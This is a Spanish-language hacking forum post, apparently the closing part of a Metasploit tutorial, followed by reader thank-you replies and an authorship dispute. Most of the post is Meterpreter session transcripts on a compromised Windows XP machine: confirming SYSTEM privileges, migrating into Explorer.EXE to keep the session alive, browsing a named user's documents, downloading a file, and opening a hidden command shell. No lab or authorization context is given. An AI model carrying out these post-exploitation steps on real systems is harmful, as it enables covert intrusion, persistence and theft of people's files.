Despues de haber visto la descripcion de algunos de los comandos disponibles en Meterpreter, vamos a hacer uso de unos cuantos, los demas tendran que verlos por ustedes mismos :D

Una vez hemos logrado explotar el sistema, seria bueno saber con que usuario estamos trabajando:
Código: php
meterpreter > getuid 
Server username: NT AUTHORITY\SYSTEM
meterpreter >


Jeje, como vemos tenemos todos los permisos sobre el sistema sin ninguna limitacion. Ahora lo que tenemo que hacer es migrar a otro proceso despues de haber hecho la intrusion para asegurar que nuestra conexion no se termine si el proceso (aplicacion) que hemos explotado se cierra, pero antes veamos en el proceso que estamos actualmente:

Código: php
meterpreter > getpid        #Aqui obtenemos el PID en el que estamos
Current pid: 1076        #Despues de la explotacion, Meterpreter se metio en este proceso
meterpreter > ps

Process list
============

    PID   Name              Path
    ---   ----              ----
    580   smss.exe          \SystemRoot\System32\smss.exe
    644   csrss.exe         \??\C:\WINDOWS\system32\csrss.exe
    676   winlogon.exe      \??\C:\WINDOWS\system32\winlogon.exe
    720   services.exe      C:\WINDOWS\system32\services.exe
    732   lsass.exe         C:\WINDOWS\system32\lsass.exe
    912   svchost.exe       C:\WINDOWS\system32\svchost.exe
    980   svchost.exe       C:\WINDOWS\system32\svchost.exe
    1076  svchost.exe       C:\WINDOWS\System32\svchost.exe
    1124  svchost.exe       C:\WINDOWS\system32\svchost.exe
    1232  svchost.exe       C:\WINDOWS\system32\svchost.exe
    1380  alg.exe           C:\WINDOWS\System32\alg.exe
    1492  Explorer.EXE      C:\WINDOWS\Explorer.EXE
    1656  spoolsv.exe       C:\WINDOWS\system32\spoolsv.exe
    1832  VBoxTray.exe      C:\WINDOWS\system32\VBoxTray.exe
    1848  ctfmon.exe        C:\WINDOWS\system32\ctfmon.exe
    2032  WVSScheduler.exe  C:\Archivos de programa\Acunetix\Web Vulnerability Scanner 6\WVSScheduler.exe

meterpreter >


Lo que tenemos que hacer es simplemente pasarle al comando migrate el PID al que queremos migrar. Lo hacemos asi:

Código: php
meterpreter > migrate 1492
[*] Migrating to 1492...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 1492
meterpreter >


Y en este proceso (Explorer) creo que podriamos mantenernos estables para hacer nuestro trabajo xD

Ahora veamos un poco como desplazarnos por el sistema de archivos del equipo remoto:

Código: php
meterpreter > pwd 
C:\WINDOWS\system32
meterpreter > cd c:\
meterpreter > pwd
c:\
meterpreter > ls

Listing: c:\
============

Mode                      Size       Type  Last modified              Name
----                             ----       ----  -------------              ----
100555/r-xr-xr-x    115578    fil   2009-09-07 15:08:08 -0600  3c.exe
100777/rwxrwxrwx  0           fil   2009-06-19 14:45:31 -0600  AUTOEXEC.BAT
40777/rwxrwxrwx  0             dir   2009-11-23 14:16:55 -0600  Archivos de programa
100444/r--r--r--       4952       fil   2001-08-24 09:00:00 -0600  Bootfont.bin
100666/rw-rw-rw-  0             fil   2009-06-19 14:45:31 -0600  CONFIG.SYS
40777/rwxrwxrwx  0            dir   2009-06-19 15:37:30 -0600  Documents and Settings
100444/r--r--r--        0            fil   2009-06-19 14:45:31 -0600  IO.SYS
40777/rwxrwxrwx  0            dir   2009-09-22 14:41:37 -0600  Inetpub
100444/r--r--r--     0               fil   2009-06-19 14:45:31 -0600  MSDOS.SYS
40555/r-xr-xr-x     0              dir   2009-06-20 01:22:24 -0600  MSOCache
100555/r-xr-xr-x   47564      fil   2004-08-03 13:38:34 -0600  NTDETECT.COM
40777/rwxrwxrwx  0            dir   2009-06-19 14:59:32 -0600  PFiles
40777/rwxrwxrwx  0            dir   2009-06-19 15:05:15 -0600  System Volume Information
40777/rwxrwxrwx  0            dir   2009-09-22 14:46:04 -0600  WINDOWS
100666/rw-rw-rw- 2565       fil   2009-06-20 01:01:58 -0600  all
100444/r--r--r--      51           fil   2009-12-13 15:28:09 -0600  autorun.inf
100666/rw-rw-rw- 211         fil   2009-06-19 14:39:45 -0600  boot.ini
100555/r-xr-xr-x    113233   fil   2009-08-26 04:22:00 -0600  hx.exe
100555/r-xr-xr-x    113455   fil   2009-09-01 13:23:59 -0600  i0yva6.exe
100555/r-xr-xr-x    112442   fil   2009-08-31 10:55:28 -0600  mt2.exe
100444/r--r--r--       250640  fil   2004-08-03 13:59:42 -0600  ntldr
100666/rw-rw-rw-  402653184  fil   2009-12-13 08:17:25 -0600  pagefile.sys

meterpreter >


Como vemos, la navegacion es muy simple, practicamente es lo mismo que una consola normal.

Ahora ingresemos a la carpeta "Documents and Settings" para ver que usuarios podemos encontrar en el equipo remoto:

Código: php
meterpreter > cd "Documents and Settings"
meterpreter > ls

Listing: c:\Documents and Settings
==================================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2009-06-19 15:37:30 -0600  .
40777/rwxrwxrwx  0     dir   1979-12-31 17:00:00 -0600  ..
40777/rwxrwxrwx  0     dir   2009-06-19 14:48:48 -0600  Administrador
40777/rwxrwxrwx  0     dir   2009-06-19 14:43:23 -0600  All Users
40777/rwxrwxrwx  0     dir   2009-06-19 14:45:55 -0600  Default User
40777/rwxrwxrwx  0     dir   2009-06-19 15:05:10 -0600  LocalService
40777/rwxrwxrwx  0     dir   2009-06-19 14:47:12 -0600  NetworkService
40777/rwxrwxrwx  0     dir   2009-07-01 13:11:33 -0600  Ronny Josue

meterpreter >


Y asi, de esta forma podemos navegar por todo el sistema de archivos del equipo remoto. Ahora veamos como podriamos descargar un archivo:

Código: php
meterpreter > pwd
C:\Documents and Settings\Ronny Josue\Mis documentos\Mis archivos recibidos\Install\AdobeReader
meterpreter > ls

Listing: C:\Documents and Settings\Ronny Josue\Mis documentos\Mis archivos recibidos\Install\AdobeReader
========================================================================================================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
40777/rwxrwxrwx   0         dir   2009-11-23 14:16:00 -0600  .
40777/rwxrwxrwx   0         dir   2009-11-23 14:16:00 -0600  ..
100777/rwxrwxrwx  16661154  fil   2007-06-12 19:04:20 -0600  AR81Lite_ES.exe

meterpreter > lpwd
/root
meterpreter > download AR81Lite_ES.exe
[*] downloading: AR81Lite_ES.exe -> AR81Lite_ES.exe
[*] downloaded : AR81Lite_ES.exe -> AR81Lite_ES.exe
meterpreter >


Y asi de facil descargamos archivos del equipo remoto al local, el mismo procedimiento se sigue para subir archivos, solo hay que tomar en cuenta el directorio en el que estamos y el directorio al que subiriamos el archivo.

Hasta este punto ya conocen un poquito el manejo de algunos comandos, por si quieren ver alguna descripcion de un comando especifico, pueden poner comando -h en donde "comando" es uno de los comandos dispobles en Meterpreter, para ver cuales estan disponibles utilices el comando Help o ?.

Ahora veamos como podriamos interacturar con una shell por si eso es lo que nos interesa:

Código: php
meterpreter > cd \
meterpreter > shell
Process 1104 created.
Channel 4 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>


Como vemos, el comando shell nos invoca una shell de windows abrindose en el directorio en donde la invoquemos. Tambien lo podriamos hacer asi:

Código: php
meterpreter > execute -i -H -f cmd.exe
Process 1396 created.
Channel 5 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>


En donde:
-i: Interactua con la aplicacin a ejecutar
-H: Ejecuta el comando en modo oculto
-f: La aplicacion a ejecutar

Para volver a Meterpreter solo escribimos el comando exit. Por los momentos veremos solo estos comandos, los demas los vamos a ir conociendo a medida vallamos avanzado en el tutorial ;)



Creo que el tutorial se podria considerar concluido. Agredezco a los interesados y los que hicieron sus aportes de MSF. Cualquier duda, comentario o critica no duden a hacermelo saber ya sea por este mismo post o por MP.

Autor: Rcart
Fuente: CPH

Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

muuuy buen trabajo quién hizo el tute y gracias por compartirlo $ad !!!!
¿Ilusión o realidad?

Esta excelente! justo estaba buscando algo asi!
Gracias $ad!!


u.u men pero eso no es de  By Rcart hay parte que es de shell root es amigo mio de la comunida dragonjar ;)

bien bien  gracis por el aporte

creo ya lo habia visto en otro foro colgado pero bien por traerlo a nuestrea comunidad :D


haber si me pongo al tanto de metasploit porq de verdad no se nada de nada , intente usarlo con este tuto y no me carga algunos auxiliares , y nada de eso :( seguro hago algo mal



exitos!!!!
____________________________

my best crime is myself

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
u.u men pero eso no es de  By Rcart hay parte que es de shell root es amigo mio de la comunida dragonjar ;)

Sé perfectamente quien es Shell Root y en este manual el trabajo es de Rcart 100% ...sé quien es Rcart y lo que hace Rcart aquí es incluir aportes de Shell Root pero con Link externos en ningún momento introduce material directo. No sé ni porque me molestro en escribir esto xD! Porque este tutorial lo tengo más que repasado....

Saludos.

Mi blog: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Hey gracias bro x el tuto, justo lo q buscaba =)
intentare y te cuento como va todo
gracias!!

excelente brother buscaba algo de auxiliary y lo encontre buen aporte que andes bien amigo !